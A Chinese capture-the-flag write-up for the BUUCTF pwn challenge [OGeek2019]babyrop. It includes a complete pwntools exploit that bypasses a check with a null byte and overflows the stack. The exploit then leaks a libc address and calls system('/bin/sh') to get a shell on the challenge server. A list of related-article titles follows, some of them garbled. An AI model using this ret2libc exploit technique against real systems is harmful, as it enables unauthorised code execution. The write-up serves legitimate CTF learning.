发现第二个函数有个read函数,但它是0x20是不能够构成漏洞利用,只是利用它作为中间的一个简单的输出即可;

跳过if判定: 只需在第一次输入时 在最前面加上 ‘\0’
a1上上一次返回的 buf[7]

这里的漏洞点利用, 要保证 a1的值尽可能的大, 这里选择的是 ‘xff’ – 255

该题目已经为我们提供了Libc

Exp可以这样写

from pwn import *
p = remote("node3.buuoj.cn",29829)
libc=ELF('libc-2.23.so')
elf = ELF('./pwn1')
write_plt = elf.plt['write']
write_got = elf.got['write']
main = 0x08048825
payload1 = "\0" + "\xff"*7
p.sendline(payload1)
p.recvuntil("Correct\n")
payload2 = "a"*0xe7+'a'*4 +p32(write_plt) +p32(main)+ p32(1)+p32(write_got)+p32(0x8)
p.sendline(payload2)
write_addr=u32(p.recv(4))
offset = write_addr - libc.sym['write']
system_addr=offset+libc.sym['system']
bin_sh_addr=offset+libc.search('/bin/sh').next()
p.sendline(payload1)
p.recvuntil('Correct\n')
payload3 = "a"*0xe7 + 'a'*4 +p32(system_addr) + p32(0) + p32(bin_sh_addr)
p.sendline(payload3)
p.interactive()

对思路或者Exp有疑问的欢迎留言❄

Buuctf(pwn)[OGeek2019]babyrop相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. [BUUCTF-pwn]——[OGeek2019]babyrop

    [BUUCTF-pwn]--[OGeek2019]babyrop 题目地址:https://buuoj.cn/challenges#[OGeek2019]babyrop 题目: 话不多说,先check ...

  3. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  4. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  5. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  6. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  7. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  8. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  9. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

最新文章

  1. 修改wamp的apache默认端口80为8088以及www目录
  2. 快速获取本机IP地址AWK功能
  3. div如何设置背景图片
  4. javascript事件与event对象的属性
  5. [LOJ#6053]简单的函数 题解
  6. 【英语学习】【Level 07】U07 Stories of my Life L2 I actually did it!
  7. python 的内置方法zip()介绍
  8. Nginx 作为Http代理服务器配置
  9. 6016.Linux shell脚本编程规范(第1版)
  10. 2022全新二开影视源码app源码完整版
  11. python自动交易app_股票自动交易Python下单接口
  12. RSS阅读器FeedDemon使用方法
  13. 天翼云铸牢国云安全,护航千行百业
  14. 密码学与加密算法详解
  15. android studio日志不打印,Mac 下 Android Studio 不打印日志的解决办法
  16. 怎么用Python测网速?
  17. matlab计算连续复利,求连续复利计算公式。。。
  18. html字两边的横线_css实现中间文字,两边横线效果
  19. excel的vlookup常用查找功能
  20. 杉岩数据:解读软件定义存储(SDS)及应用

热门文章

  1. 客制化NVRAM的以太网地址
  2. 一、flask的基本使用-flask
  3. vscode之添加新语言扩展——aspx-html
  4. Fragment专辑(三):Fragment的添加(add)和替换(replace)的不同
  5. mysql 优化语句
  6. DotNetCore跨平台~xUnit和测试报告
  7. 高并发測试工具webbench
  8. ECshop网点程序优化-后台添加类目自动选择上次父类目并计算Sort Order
  9. 微软官方Windows Server 2008实战攻略系列
  10. pe估值 python_Python编程学习笔记(8)